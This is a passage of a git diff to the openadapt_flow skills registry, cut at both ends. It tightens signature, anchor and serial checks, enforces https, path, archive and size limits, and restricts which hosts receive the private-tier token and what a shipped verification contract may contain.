nothing a user should trust. continue keys[kid] = base64.b64decode(spec["public"]) return keys @@ -197,29 +381,7 @@ def entry_signature_problem( ) -> Optional[str]: """Why an entry's signature doesn't hold, or None when it does.""" - from openadapt_flow.ed25519ph import verify_prehashed - - signature = raw.get("signature") - if not isinstance(signature, dict): - return "the entry is not signed" - key = keys.get(str(signature.get("key_id"))) - if key is None: - hint = ( - " (the TEST key: pass --allow-test-key)" - if signature.get("key_id") == TEST_KEY_ID - else "" - ) - return ( - f"the entry is signed by an unknown key {signature.get('key_id')!r}{hint}" - ) - try: - sig = base64.b64decode(str(signature.get("ed25519ph", "")), validate=True) - except ValueError: - return "the entry's signature is not base64" - digest = hashlib.sha512(entry_statement(raw)).digest() - if not verify_prehashed(key, digest, sig): - return "the entry's signature does not match its content" - return None + return _signature_problem(entry_statement(raw), raw.get("signature"), keys, "entry") @dataclass(frozen=True) @@ -249,33 +411,90 @@ def ref(self) -> str: CONTRACT_VAR_KINDS = ("url", "env_var_name", "path", "command") -def _version_key(version: Optional[str]) -> tuple[int, ...]: - parts = [] - for piece in (version or "0").split("."): +def _version_key(version: Optional[str]) -> tuple[Any, ...]: + """Semantic-version order: a pre-release sorts before its release. + + ``1.2.0-rc.1`` < ``1.2.0`` < ``1.10.0``; build metadata (``+...``) is + ignored, as semver says. + """ + + core, _, pre = (version or "0").split("+", 1)[0].partition("-") + numbers = [] + for piece in core.split("."): digits = "".join(ch for ch in piece if ch.isdigit()) - parts.append(int(digits) if digits else 0) - return tuple(parts) + numbers.append(int(digits) if digits else 0) + while numbers and numbers[-1] == 0: + numbers.pop() + tags: tuple[tuple[int, Any], ...] = tuple( + (0, int(tag)) if tag.isdigit() else (1, tag) for tag in pre.split(".") if tag + ) + return (tuple(numbers), 0 if pre else 1, tags) + + +def _remote(location: str) -> bool: + return location.startswith(("http://", "https://")) -def _read(location: str) -> bytes: - if location.startswith(("http://", "https://")): +def _read( + location: str, *, limit: int = MAX_FILE_BYTES, local_root: Optional[Path] = None +) -> bytes: + """Bytes at an https URL or a local path, at most ``limit`` of them. + + Plain http is refused. A local path is read only under ``local_root`` + when one is given (the directory of a local index). + """ + + if location.startswith("http://"): + raise RegistryError(f"{location}: plain http is refused; use https") + if location.startswith("https://"): import httpx - resp = httpx.get(location, timeout=30.0, follow_redirects=True) - if resp.status_code != 200: - raise RegistryError(f"GET {location} returned {resp.status_code}") - if len(resp.content) > MAX_FILE_BYTES: - raise RegistryError(f"{location} is larger than {MAX_FILE_BYTES} bytes") - return resp.content - return Path(location).read_bytes() + with httpx.stream("GET", location, timeout=30.0, follow_redirects=True) as resp: + if resp.url.scheme != "https": + raise RegistryError(f"{location} redirected off https") + if resp.status_code != 200: + raise RegistryError(f"GET {location} returned {resp.status_code}") + chunks, size = [], 0 + for chunk in resp.iter_bytes(): + size += len(chunk) + if size > limit: + raise RegistryError(f"{location} is larger than {limit} bytes") + chunks.append(chunk) + return b"".join(chunks) + path = Path(location) + if local_root is not None and not path.resolve().is_relative_to( + local_root.resolve() + ): + raise RegistryError(f"{location} is outside the index's directory") + if path.stat().st_size > limit: + raise RegistryError(f"{location} is larger than {limit} bytes") + return path.read_bytes() def _join(base: str, rel: str) -> str: - if base.startswith(("http://", "https://")): + if _remote(base): return urljoin(base, rel) return str(Path(base).parent / rel) +_SAFE_REL = frozenset( + "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_.-/" +) + + +def _safe_rel(rel: Any) -> bool: + """A relative path that stays put when joined to a URL or a directory.""" + + return ( + isinstance(rel, str) + and bool(rel) + and set(rel) <= _SAFE_REL + and not rel.startswith("/") + and "//" not in rel + and ".." not in rel.split("/") + ) + + def validate_index(index: dict[str, Any]) -> list[Entry]: """Check the index shape and the status rules. Returns its entries.""" entries = [] @@ -293,21 +512,45 @@ def validate_index(index: dict[str, Any]) -> list[Entry]: raise RegistryError(f"{wid}: 'certified' needs a certification record") if status != "planned" and not item.get("files"): raise RegistryError(f"{wid}: no files") + if "path" in item and not _safe_rel(str(item["path"]).rstrip("/")): + raise RegistryError(f"{wid}: unsafe path {item.get('path')!r}") for rel in item.get("files") or {}: - if rel.startswith("/") or ".." in Path(rel).parts: + if not _safe_rel(rel): raise RegistryError(f"{wid}: unsafe path {rel!r}") if private_tier_file(rel): raise RegistryError( f"{wid}: {rel!r} belongs to the private tier, never a public bundle" ) + if not public_bundle_file(rel): + raise RegistryError( + f"{wid}: {rel!r} is not a file a public bundle may hold " + f"({', '.join(PUBLIC_FILE_PATTERNS)})" + ) + if status != "planned" and any( + rel.startswith("templates/") for rel in item.get("files") or {} + ): + screens = item.get("screens") + if not isinstance(screens, dict) or screens.get("data") != "synthetic": + raise RegistryError( + f"{wid}: its screen templates need the attestation " + "screens.data = 'synthetic' (crops of a copy with made-up data)" + ) full = item.get("full_contract") if full is not None: - if ( - not isinstance(full, dict) - or not full.get("url") - or not full.get("sha256") - ): - raise RegistryError(f"{wid}: full_contract needs a url and a sha256") + if not isinstance(full, dict) or set(full) != {"url", "sha256"}: + raise RegistryError( + f"{wid}: full_contract takes exactly a url and a sha256" + ) + problem = private_tier_url_problem(str(full["url"])) + if problem: + raise RegistryError(f"{wid}: full_contract {problem}") + archive = item.get("archive") + if archive is not None and ( + not isinstance(archive, dict) + or not archive.get("url") + or not archive.get("sha256") + ): + raise RegistryError(f"{wid}: archive needs a url and a sha256") contract = item.get("contract") if contract is not None and contract not in (item.get("files") or {}): raise RegistryError(f"{wid}: contract {contract!r} is not one of its files") @@ -331,6 +574,22 @@ def validate_index(index: dict[str, Any]) -> list[Entry]: return entries +def private_tier_url_problem(url: str) -> Optional[str]: + """Why ``url`` may not receive the private tier's token, or None.""" + + parts = urlsplit(url) + if parts.scheme != "https": + return f"must be https, not {url!r}" + if parts.username or parts.password or parts.port not in (None, 443): + return f"must be a plain https address, not {url!r}" + if (parts.hostname or "") not in PRIVATE_TIER_HOSTS: + return ( + f"host {parts.hostname!r} is not a private-tier host " + f"({', '.join(sorted(PRIVATE_TIER_HOSTS))})" + ) + return None + + def load_index(index_url: str = DEFAULT_INDEX_URL) -> list[Entry]: try: data = json.loads(_read(index_url)) @@ -352,6 +611,20 @@ def find(entries: list[Entry], workflow_id: str) -> Entry: raise RegistryError(f"no workflow {workflow_id!r} in the registry (known: {known})") +def _read_anchor(index_url: str) -> Optional[Any]: + """The index's published anchor; None only when a local index has none.""" + + location = _join(index_url, ANCHOR_NAME) + if not _remote(index_url) and not Path(location).exists(): + return None + try: + return json.loads(_read(location)) + except (RegistryError, OSError, json.JSONDecodeError) as exc: + raise RegistryError( + f"the index's transparency-log anchor ({ANCHOR_NAME}) can't be read: {exc}" + ) from exc + + def pull( workflow_id: str, out: Optional[Path | str] = None, @@ -360,16 +633,31 @@ def pull( overwrite: bool = False, keys: Optional[dict[str, bytes]] = None, allow_unsigned: bool = False, - allow_test_key: bool = False, log_keys: Optional[Any] = None, + now: Optional[datetime] = None, ) -> Path: """Download and verify a bundle into ``out`` (default ``./``). - The entry's signature is checked against the keys shipped with the - package before anything is downloaded. ``allow_unsigned`` takes an - unsigned entry (a local index while authoring); a signature that is - present must always hold. + Before anything is downloaded: + + - the index's own signature, its expiry and its serial (never lower than + the highest seen from this index) are checked; + - its Rekor anchor must hold, and a remote index must have one; + - the entry's signature is checked. + + Every key comes from the package, never from the index. ``allow_unsigned`` + takes an unsigned index and entry, and only from the local disk (an index + you are authoring); a signature that is present must always hold. """ + remote = _remote(index_url) + if remote and not index_url.startswith("https://"): + raise RegistryError(f"{index_url}: plain http is refused; use https") + if allow_unsigned and remote: + raise RegistryError( + "--allow-unsigned applies only to an index on the local disk, never " + f"to {index_url}" + ) + local_root = None if remote else Path(index_url).resolve().parent try: index_data = json.loads(_read(index_url)) except json.JSONDecodeError as exc: @@ -377,30 +665,26 @@ def pull( entry = find(validate_index(index_data), workflow_id) if entry.status == "planned": raise RegistryError(f"{workflow_id} is planned and has no bundle yet") - trusted = trusted_keys(allow_test_key=allow_test_key) if keys is None else keys - # A published anchor must hold; an index without one is checked by its - # entries' signatures alone (until anchoring is required). - try: - anchor = json.loads(_read(_join(index_url, ANCHOR_NAME))) - except (RegistryError, OSError, json.JSONDecodeError): - anchor = None + trusted = trusted_keys() if keys is None else keys + index_signed = index_data.get("signature") is not None + if index_signed or not allow_unsigned: + problem = index_signature_problem(index_data, trusted, now=now) + if problem is None: + problem = serial_problem(index_url, index_data["serial"]) + if problem is not None: + raise RegistryError(problem) + anchor = _read_anchor(index_url) + if anchor is None and remote: + raise RegistryError(f"the index has no transparency-log anchor ({ANCHOR_NAME})") if anchor is not None: anchored = index_anchor_problem(index_data, anchor, trusted, log_keys=log_keys) if anchored is not None: raise RegistryError(anchored) - problem = entry_signature_problem( - entry.raw, - trusted, - ) + problem = entry_signature_problem(entry.raw, trusted) if problem is not None and not ( allow_unsigned and entry.raw.get("signature") is None ): - hint = ( - "; pass --allow-unsigned for a local index you trust" - if entry.raw.get("signature") is None - else "" - ) - raise RegistryError(f"{entry.ref}: {problem}{hint}") + raise RegistryError(f"{entry.ref}: {problem}") dest = Path(out) if out else Path(entry.id.split("/", 1)[1]) if dest.exists() and not overwrite: raise RegistryError(f"{dest} exists; pass --force to replace it") @@ -408,7 +692,11 @@ def pull( archive = entry.raw.get("archive") with tempfile.TemporaryDirectory() as tmp: stage = Path(tmp) / "bundle" - unpacked = _unpack_archive(archive, Path(tmp)) if archive else None + unpacked = ( + _unpack_archive(archive, expected=set(entry.files), local_root=local_root) + if archive + else None + ) for rel, expected in sorted(entry.files.items()): if unpacked is not None: if rel not in unpacked: @@ -416,9 +704,8 @@ def pull( data = unpacked[rel] else: data = _read( - urljoin(base, rel) - if base.startswith("http") - else str(Path(base) / rel) + urljoin(base, rel) if remote else str(Path(base) / rel), + local_root=local_root, ) actual = hashlib.sha256(data).hexdigest() if actual != expected: @@ -437,19 +724,30 @@ def pull( # Mark it as pulled and expire any certification it carries: a # registry certification is about our test copy, never the user's. mark_pulled(stage, entry, index_url=index_url) + if unpacked is not None and NOTICE_NAME in unpacked: + (stage / NOTICE_NAME).write_bytes(unpacked[NOTICE_NAME]) if dest.exists(): shutil.rmtree(dest) dest.parent.mkdir(parents=True, exist_ok=True) shutil.copytree(stage, dest) + if index_signed: + record_serial(index_url, index_data["serial"]) return dest -def _unpack_archive(archive: Any, tmp: Path) -> dict[str, bytes]: +#: The license notice a registry archive carries beside the bundle's files. +NOTICE_NAME = "NOTICE" + + +def _unpack_archive( + archive: Any, *, expected: set[str], local_root: Optional[Path] = None +) -> dict[str, bytes]: """The files of a bundle published as a release asset (``.tar.gz``). - The signed entry pins the archive's sha256. Members must be regular files - at safe relative paths; links, devices, absolute paths and ``..`` are - refused. + The signed entry pins the archive's sha256. Its URL must be https (or, + for a local index, a path inside the index's directory). Members must be + regular files at safe relative paths, each one the entry lists (or the + license notice), with sizes checked before anything is read. """ import io @@ -461,12 +759,22 @@ def _unpack_archive(archive: Any, tmp: Path) -> dict[str, bytes]: or not archive.get("sha256") ): raise RegistryError("archive needs a url and a sha256") - data = _read(str(archive["url"])) + url = str(archive["url"]) + if not url.startswith("https://") and local_root is None: + raise RegistryError(f"the archive must be at an https address, not {url!r}") + if not url.startswith("https://") and local_root is not None: + url = str(local_root / url) # an absolute path stays as it is + data = _read(url, limit=MAX_ARCHIVE_BYTES, local_root=local_root) if hashlib.sha256(data).hexdigest() != archive["sha256"]: raise RegistryError("the archive's sha256 does not match the index") out: dict[str, bytes] = {} + total = 0 with tarfile.open(fileobj=io.BytesIO(data), mode="r:gz") as tar: - for member in tar.getmembers(): + for count, member in enumerate(tar, start=1): + if count > MAX_ARCHIVE_MEMBERS: + raise RegistryError( + f"the archive has more than {MAX_ARCHIVE_MEMBERS} members" + ) name = member.name if name.startswith("/") or ".." in Path(name).parts: raise RegistryError(f"the archive has an unsafe path {name!r}") @@ -476,16 +784,39 @@ def _unpack_archive(archive: Any, tmp: Path) -> dict[str, bytes]: raise RegistryError( f"the archive member {name!r} is not a regular file" ) + if name not in expected and name != NOTICE_NAME: + raise RegistryError(f"the archive member {name!r} is not in the entry") + if name in out: + raise RegistryError(f"the archive has {name!r} twice") + # Sizes are checked from the header, before anything is read. + if member.size > MAX_FILE_BYTES: + raise RegistryError(f"{name} is larger than {MAX_FILE_BYTES} bytes") + total += member.size + if total > MAX_ARCHIVE_BYTES: + raise RegistryError( + f"the archive unpacks to more than {MAX_ARCHIVE_BYTES} bytes" + ) handle = tar.extractfile(member) if handle is None: raise RegistryError(f"the archive member {name!r} can't be read") - out[name] = handle.read() - if len(out[name]) > MAX_FILE_BYTES: - raise RegistryError(f"{name} is larger than {MAX_FILE_BYTES} bytes") + out[name] = handle.read(member.size) return out -def build_archive(bundle_dir: Path, out: Path) -> str: +def license_notice(entry: dict[str, Any]) -> str: + """The notice a registry archive carries for the app the skill drives.""" + + app = entry.get("app") or entry.get("id", "the app") + license_name = entry.get("app_license") or "its own license" + return ( + f"This bundle describes a task in {app}, which is distributed under " + f"{license_name}. It contains none of that app's code. Its screen " + "templates are crops of the app's rendered screens, taken on a copy " + "holding made-up data.\n" + ) + + +def build_archive(bundle_dir: Path, out: Path, *, notice: Optional[str] = None) -> str: """Write ``bundle_dir`` as a reproducible ``.tar.gz``; returns its sha256.""" import gzip @@ -494,9 +825,14 @@ def build_archive(bundle_dir: Path, out: Path) -> str: buf = io.BytesIO() with tarfile.open(fileobj=buf, mode="w", format=tarfile.PAX_FORMAT) as tar: - for path in sorted(p for p in bundle_dir.rglob("*") if p.is_file()): - data = path.read_bytes() - info = tarfile.TarInfo(path.relative_to(bundle_dir).as_posix()) + members = [ + (path.relative_to(bundle_dir).as_posix(), path.read_bytes()) + for path in sorted(p for p in bundle_dir.rglob("*") if p.is_file()) + ] + if notice is not None: + members.append((NOTICE_NAME, notice.encode("utf-8"))) + for name, data in members: + info = tarfile.TarInfo(name) info.size, info.mtime, info.mode = len(data), 0, 0o644 tar.addfile(info, io.BytesIO(data)) packed = gzip.compress(buf.getvalue(), mtime=0) @@ -546,7 +882,6 @@ def cmd_pull(args: Any) -> int: index_url=args.index, overwrite=args.force, allow_unsigned=getattr(args, "allow_unsigned", False), - allow_test_key=getattr(args, "allow_test_key", False), ) except RegistryError as exc: print(f"pull: {exc}", file=sys.stderr) @@ -585,14 +920,10 @@ def add_parser(sub: Any) -> None: "--force", action="store_true", help="Replace an existing destination" ) p.add_argument("--list", action="store_true", help="List available workflows") - p.add_argument( - "--allow-test-key", - action="store_true", - help="Take an entry signed by the public TEST key (tests and local seeding)", - ) p.add_argument( "--allow-unsigned", action="store_true", - help="Take an unsigned entry (a local index you trust while authoring)", + help="Take an unsigned index on the local disk (one you are authoring); " + "refused for a remote index", ) p.set_defaults(func=cmd_pull) diff --git a/packages/flow/openadapt_flow/registry_keys.json b/packages/flow/openadapt_flow/registry_keys.json index 07971355b..24015611d 100644 --- a/packages/flow/openadapt_flow/registry_keys.json +++ b/packages/flow/openadapt_flow/registry_keys.json @@ -1,10 +1,5 @@ { "schema": "openadapt.registry-keys/v1", - "note": "Public keys that sign skills-registry entries. The production key's seed lives only in the protected REGISTRY_SIGNING_SEED secret of the registry release workflow. The TEST key's seed is public (openadapt_flow.registry.TEST_KEY_SEED); pull accepts it only with --allow-test-key.", - "keys": { - "openadapt-registry-test-1": { - "public": "faYJ38w9U5kf+qjZ3bSxvesGnC9UiHIqSJ4zku1z6FQ=", - "test": true - } - } + "note": "Public keys that sign the skills-registry index and its entries. The production key's seed lives only in the protected REGISTRY_SIGNING_SEED secret of the registry release workflow; only its public half is committed here. A key flagged test is ignored.", + "keys": {} } diff --git a/packages/flow/openadapt_flow/skills.py b/packages/flow/openadapt_flow/skills.py index 44356b30f..204effe2e 100644 --- a/packages/flow/openadapt_flow/skills.py +++ b/packages/flow/openadapt_flow/skills.py @@ -17,15 +17,28 @@ 3. ``run``, ``replay``, ``emit-skill`` and ``emit-mcp`` call :func:`pulled_skill_refusal` and refuse a pulled skill until then. -The bundled contract names no Python hooks: a pulled skill never runs code it -downloaded. Sign-in is a saved browser state (``storage_state``), and the -per-case reset is a command the user binds. +A shipped contract (the bundled ``verify.yaml`` or the private tier's full +one) never runs code it downloaded and never reads the user's environment +(:func:`shipped_contract_problems`, checked on the raw YAML before any +``${}`` expansion): + +- it names no Python hooks and no plugin; +- every address, credential name, path and the reset command is a + ``${VAR}`` naming one of the entry's declared variables, so the user's + binding decides where requests go and what runs; +- ``${}`` expands only against the binding, never ``os.environ``. + +Sign-in is a saved browser state (``storage_state``), and the per-case reset +is a command the user binds. ``pull`` also records the pulled program outside +the bundle (``$OPENADAPT_HOME/pulled.json``), so stripping the registry +provenance from the workflow doesn't make an unqualified pull runnable. See docs/design/SKILLS_REGISTRY.md. """ from __future__ import annotations +import hashlib import json import os import re @@ -42,6 +55,10 @@ _ENV_NAME = re.compile(r"^[A-Z_][A-Z0-9_]{0,127}$") +#: Where the private tier's bearer token is read from: this one variable, +#: never one an entry names. +TOKEN_ENV = "OPENADAPT_REGISTRY_TOKEN" + class SkillError(RuntimeError): """A pulled skill's lock, binding or qualification is not usable.""" @@ -104,6 +121,7 @@ def mark_pulled(bundle_dir: Path, entry: Any, *, index_url: str) -> None: pulled_at=_now(), ) workflow.save(bundle_dir) + _record_pull(workflow, workflow.registry) _write_json( bundle_dir / LOCK, { @@ -111,6 +129,8 @@ def mark_pulled(bundle_dir: Path, entry: Any, *, index_url: str) -> None: "id": entry.id, "version": entry.version, "index": index_url, + "signed_by": workflow.registry.signed_by, + "app_license": raw.get("app_license"), "pulled_at": _now(), "files": entry.files, "certification_expired": expired, @@ -123,6 +143,51 @@ def mark_pulled(bundle_dir: Path, entry: Any, *, index_url: str) -> None: ) +def program_digest(workflow: Any) -> str: + """SHA-256 of the workflow's steps alone, whatever provenance it carries.""" + + steps = [step.model_dump(mode="json") for step in workflow.steps] + return hashlib.sha256( + json.dumps(steps, sort_keys=True, separators=(",", ":")).encode("utf-8") + ).hexdigest() + + +def _ledger_path() -> Path: + home = Path(os.environ.get("OPENADAPT_HOME", Path.home() / ".openadapt")) + return home / "pulled.json" + + +def _read_ledger() -> dict[str, Any]: + try: + ledger = json.loads(_ledger_path().read_text()) + except (OSError, json.JSONDecodeError): + return {} + return ledger if isinstance(ledger, dict) else {} + + +def _record_pull(workflow: Any, origin: Any) -> None: + """Remember the pulled program by its steps, outside the bundle.""" + + ledger = _read_ledger() + ledger.setdefault("programs", {})[program_digest(workflow)] = origin.model_dump( + mode="json" + ) + path = _ledger_path() + path.parent.mkdir(parents=True, exist_ok=True) + tmp = path.with_suffix(".tmp") + tmp.write_text(json.dumps(ledger, indent=2, sort_keys=True) + "\n") + tmp.replace(path) + + +def _pulled_id(workflow: Any) -> Optional[str]: + """The registry id of a workflow whose steps were pulled here, or None.""" + + record = (_read_ledger().get("programs") or {}).get(program_digest(workflow)) + if not isinstance(record, dict): + return None + return str(record.get("id") or "a registry skill") + + def _check_value(name: str, kind: str, value: str) -> str: if kind == "url": parts = urlsplit(value) @@ -195,11 +260,20 @@ def pulled_skill_refusal( """Why a pulled skill may not run yet, or None (not pulled, or qualified). A bundle whose workflow carries registry provenance (``Workflow.registry``, - set by ``pull`` and covered by the content digest) runs only with a - current certification of this exact bundle, made on an instance it - records. A run aimed at ``target_url`` must be on that instance. A lock - file without provenance means the bundle was edited, and is refused. A - bundle with neither is an ordinary local bundle and this says nothing. + set by ``pull`` and covered by the content digest) runs only when: + + - it has a current certification of this exact bundle, made on an + instance it records; + - ``skill qualify`` recorded that qualification in the lock, for this + digest, with the shipped (or private full) contract, or with the user's + own contract they opted into; + - a run aimed at ``target_url`` is on the qualified instance. + + A lock file without provenance means the bundle was edited, and is + refused. A bundle with neither whose steps match a pull recorded under + ``$OPENADAPT_HOME`` had its provenance stripped: it is refused until it + carries a current certification on a named instance. Anything else is an + ordinary local bundle and this says nothing. """ bundle_dir = Path(bundle_dir) @@ -216,40 +290,75 @@ def pulled_skill_refusal( if lock is None: return None return f"pulled skill {lock.get('id')} failed to load: {exc}" + if not isinstance(workflow, Workflow): + # A stand-in loader (tests, adapters) returned no workflow to check. + return None if lock is None else f"pulled skill {lock.get('id')} failed to load" provenance = workflow.registry + hint = f"openadapt-flow skill qualify {bundle_dir} --certify " if provenance is None: if lock is not None: return ( f"{bundle_dir} has a skill lock but no registry provenance; pull " f"{lock.get('id')} again" ) - return None - hint = f"openadapt-flow skill qualify {bundle_dir} --certify " + stripped = _pulled_id(workflow) + if stripped is None: + return None + if current_certification_matches(workflow) and _qualified_origin(workflow): + # The user's own qualification of this program on a named + # instance, under ordinary local-bundle rules. + return _origin_refusal(stripped, workflow, target_url, hint) + return ( + f"{bundle_dir} is pulled skill {stripped} with its registry " + f"provenance removed, and it is not qualified; pull it again and run " + "openadapt-flow skill qualify" + ) if not current_certification_matches(workflow): return ( f"pulled skill {provenance.id} has no current certification on your " f"instance; run {hint}" ) - project = workflow.qualification - qualified_origin = ( - project.environment.application_identity if project is not None else None - ) - if not qualified_origin: + if not _qualified_origin(workflow): return ( f"pulled skill {provenance.id} was not qualified on a named instance; " f"run {hint}" ) - if target_url and _origin(target_url) != qualified_origin: - return ( - f"pulled skill {provenance.id} was qualified on {qualified_origin}, " - f"not {_origin(target_url)}; run {hint} for this one" - ) - qualified = (lock or {}).get("qualified") + if lock is None: + return f"pulled skill {provenance.id} has lost its {LOCK}; pull it again" + qualified = lock.get("qualified") digest = workflow.manifest.content_digest if workflow.manifest else None - if qualified and qualified.get("bundle_digest") != digest: + if not isinstance(qualified, dict): + return f"pulled skill {provenance.id} was not qualified by skill qualify; run {hint}" + if qualified.get("bundle_digest") != digest: return ( f"pulled skill {provenance.id} changed since it was qualified; run {hint}" ) + if qualified.get("contract") not in ("full", "minimal") and not qualified.get( + "contract_opt_in" + ): + return ( + f"pulled skill {provenance.id} was qualified with a contract it doesn't " + f"ship; run {hint}" + ) + return _origin_refusal(provenance.id, workflow, target_url, hint) + + +def _qualified_origin(workflow: Any) -> Optional[str]: + project = workflow.qualification + if project is None: + return None + return project.environment.application_identity or None + + +def _origin_refusal( + skill_id: str, workflow: Any, target_url: Optional[str], hint: str +) -> Optional[str]: + qualified_origin = _qualified_origin(workflow) + if target_url and _origin(target_url) != qualified_origin: + return ( + f"pulled skill {skill_id} was qualified on {qualified_origin}, " + f"not {_origin(target_url)}; run {hint} for this one" + ) return None @@ -266,50 +375,200 @@ def refuse_unqualified_skill( raise SystemExit(f"REFUSED: {refusal}") -#: Where the private tier's bearer token is read from by default. -DEFAULT_TOKEN_ENV = "OPENADAPT_REGISTRY_TOKEN" - - def fetch_full_contract( - bundle_dir: Path, lock: dict[str, Any], *, env: Mapping[str, str] + bundle_dir: Path, + lock: dict[str, Any], + *, + env: Mapping[str, str], + client: Optional[Any] = None, ) -> Optional[Path]: """Fetch the private tier's full record check, if the entry has one. - The signed entry pins its URL and sha256. It is fetched with a bearer - token from the environment and stored beside the bundle, never inside it - (``.private/verify.full.yaml``). None when the entry has no full - contract or no token is set: the public minimal contract is used then. + The signed entry pins its URL and sha256. The URL must be https on a + private-tier host the package names (``registry.PRIVATE_TIER_HOSTS``); + only then is the bearer token in ``OPENADAPT_REGISTRY_TOKEN`` sent. The + body is size-capped and checked against the sha256, and stored beside + the bundle, never inside it (``.private/verify.full.yaml``). + None when the entry has no full contract or no token is set: the public + minimal contract is used then. """ - import hashlib + from openadapt_flow.registry import ( + MAX_FULL_CONTRACT_BYTES, + private_tier_url_problem, + ) full = lock.get("full_contract") if not full: return None - token = env.get(str(full.get("token_env") or DEFAULT_TOKEN_ENV)) + token = env.get(TOKEN_ENV) if not token: return None + url = str(full.get("url") or "") + problem = private_tier_url_problem(url) + if problem is not None: + raise SkillError(f"the private record check's url {problem}; nothing was sent") import httpx - resp = httpx.get( - full["url"], - headers={"Authorization": f"Bearer {token}"}, - timeout=30.0, - follow_redirects=False, - ) - if resp.status_code != 200: - raise SkillError(f"the private record check returned HTTP {resp.status_code}") - digest = hashlib.sha256(resp.content).hexdigest() - if digest != full["sha256"]: + owned = client is None + http = client or httpx.Client(timeout=30.0, follow_redirects=False) + try: + with http.stream( + "GET", url, headers={"Authorization": f"Bearer {token}"} + ) as resp: + if resp.status_code != 200: + raise SkillError( + f"the private record check returned HTTP {resp.status_code}" + ) + chunks, size = [], 0 + for chunk in resp.iter_bytes(): + size += len(chunk) + if size > MAX_FULL_CONTRACT_BYTES: + raise SkillError( + "the private record check is larger than " + f"{MAX_FULL_CONTRACT_BYTES} bytes" + ) + chunks.append(chunk) + finally: + if owned: + http.close() + body = b"".join(chunks) + if hashlib.sha256(body).hexdigest() != full.get("sha256"): raise SkillError("the private record check does not match the signed entry") private = bundle_dir.parent / f"{bundle_dir.name}.private" private.mkdir(mode=0o700, exist_ok=True) path = private / "verify.full.yaml" - path.write_bytes(resp.content) + path.write_bytes(body) path.chmod(0o600) return path +_REF = re.compile(r"\$\{([A-Za-z_][A-Za-z0-9_]*)(?::-[^}]*)?\}") +_ONE_REF = re.compile(r"^\$\{([A-Za-z_][A-Za-z0-9_]*)\}$") +#: An address: one url variable, then at most a path, query or fragment. +_ADDRESS_REF = re.compile(r"^\$\{([A-Za-z_][A-Za-z0-9_]*)\}(?:[/?#].*)?$") +_HOOK_KEYS = frozenset({"session", "python"}) +_SECRET_KEYS = frozenset({"access_token", "client_secret"}) +#: Sections that hold data (record fields, test inputs), not addresses or +#: settings: only their ``${}`` references are checked. +_DATA_SECTIONS = frozenset({"record", "inputs", "campaign", "save_step"}) +_ADDRESS_KEYS = frozenset({"url", "entry_url", "jku", "host", "dsn"}) +_PATH_KEYS = frozenset({"storage_state", "sqlite_database", "root"}) +#: The read-back kinds a shipped contract may use: each reads a system the +#: user's binding names, and none loads a plugin. +SHIPPED_VERIFIER_KINDS = ("rest", "fhir", "sql", "graphql") +#: DB-API drivers a shipped SQL check may name (``sql_driver`` imports it). +SHIPPED_SQL_DRIVERS = frozenset( + {"psycopg", "psycopg2", "pymysql", "MySQLdb", "mysql.connector", "pymssql"} +) + + +def shipped_contract_problems(data: Any, kinds: Mapping[str, str]) -> list[str]: + """Why a contract that came with a pulled skill may not run, if it may not. + + Checked on the raw YAML, before any ``${}`` expansion. ``kinds`` maps each + declared contract variable to its kind (``url``, ``env_var_name``, + ``path``, ``command``). + """ + + problems: list[str] = [] + + def undeclared(path: str, value: str) -> None: + for match in _REF.finditer(value): + if match.group(1) not in kinds: + problems.append( + f"{path}: ${{{match.group(1)}}} is not a declared contract variable" + ) + + def need(path: str, value: Any, kind: str, *, address: bool = False) -> None: + if value is None: + return + pattern = _ADDRESS_REF if address else _ONE_REF + match = pattern.match(value) if isinstance(value, str) else None + if match is None or kinds.get(match.group(1)) != kind: + problems.append( + f"{path} must be ${{VAR}} naming a declared {kind} variable" + + (", then at most a path" if address else "") + ) + if isinstance(value, str): + undeclared(path, value) + + def walk(node: Any, path: str, keyed: bool = True) -> None: + if isinstance(node, dict): + for raw_key, value in node.items(): + key = str(raw_key) + where = f"{path}.{key}" if path else key + if not keyed or (not path and key in _DATA_SECTIONS): + walk(value, where, keyed=False) + elif key in _HOOK_KEYS: + problems.append( + f"{where}: a shipped contract names no Python hooks" + ) + elif key in _SECRET_KEYS and isinstance(value, str): + problems.append( + f"{where}: a shipped contract carries no credential" + ) + elif key == "verify_tls" and value is False: + problems.append( + f"{where}: a shipped contract can't turn off TLS checks" + ) + elif key.endswith("_env"): + if isinstance(value, dict): + for name, item in value.items(): + need(f"{where}.{name}", item, "env_var_name") + else: + need(where, value, "env_var_name") + elif key in _ADDRESS_KEYS or key.endswith("_url"): + need(where, value, "url", address=True) + elif key in _PATH_KEYS or key.endswith("_file"): + need(where, value, "path") + elif key == "sql_connect_args" and isinstance(value, dict): + for name, item in value.items(): + if isinstance(item, str) and ( + not _ONE_REF.match(item) or item[2:-1] not in kinds + ): + problems.append( + f"{where}.{name} must be ${{VAR}} naming a declared variable" + ) + elif key == "sql_driver" and value not in SHIPPED_SQL_DRIVERS: + problems.append( + f"{where}: {value!r} is not a known SQL driver " + f"({', '.join(sorted(SHIPPED_SQL_DRIVERS))})" + ) + else: + walk(value, where) + elif isinstance(node, list): + for i, item in enumerate(node): + walk(item, f"{path}[{i}]", keyed) + elif isinstance(node, str): + undeclared(path, node) + + if not isinstance(data, dict): + return ["the contract is not a YAML mapping"] + walk(data, "") + app = data.get("app") + reset: Any = app.get("reset") if isinstance(app, dict) else None + if not isinstance(reset, dict): + reset = {} + if "command" in reset: + need("app.reset.command", reset["command"], "command") + http = reset.get("http") + if isinstance(http, dict): + # The whole reset address is the user's: no path the contract adds. + need("app.reset.http.url", http.get("url"), "url") + for section in ("verifier", "system_of_record"): + node = data.get(section) + while isinstance(node, dict): + kind = node.get("kind") + if kind is not None and kind not in SHIPPED_VERIFIER_KINDS: + problems.append( + f"{section}.kind {kind!r}: a shipped contract reads with " + f"{', '.join(SHIPPED_VERIFIER_KINDS)}" + ) + node = node.get("verifier") + return sorted(set(problems)) + + def qualify_skill( bundle_dir: Path | str, *, @@ -317,59 +576,96 @@ def qualify_skill( out: Optional[Path | str] = None, trials: Optional[int] = None, contract: Optional[Path | str] = None, + replace_contract: bool = False, log: Callable[[str], None] = print, run: Optional[Callable[..., Any]] = None, + http_client: Optional[Any] = None, ) -> Any: """Qualify a pulled skill in place against the bound instance. - ``contract`` is the user's own verify.yaml, for a skill that ships none - (or to replace the shipped one). It is the user's file, so it may name - Python hooks; the shipped contract may not. + The skill's own contract is used: the private tier's full one when the + registry token is set, else the bundled minimal one. ``contract`` is the + user's own verify.yaml, for a skill that ships none; replacing a shipped + contract 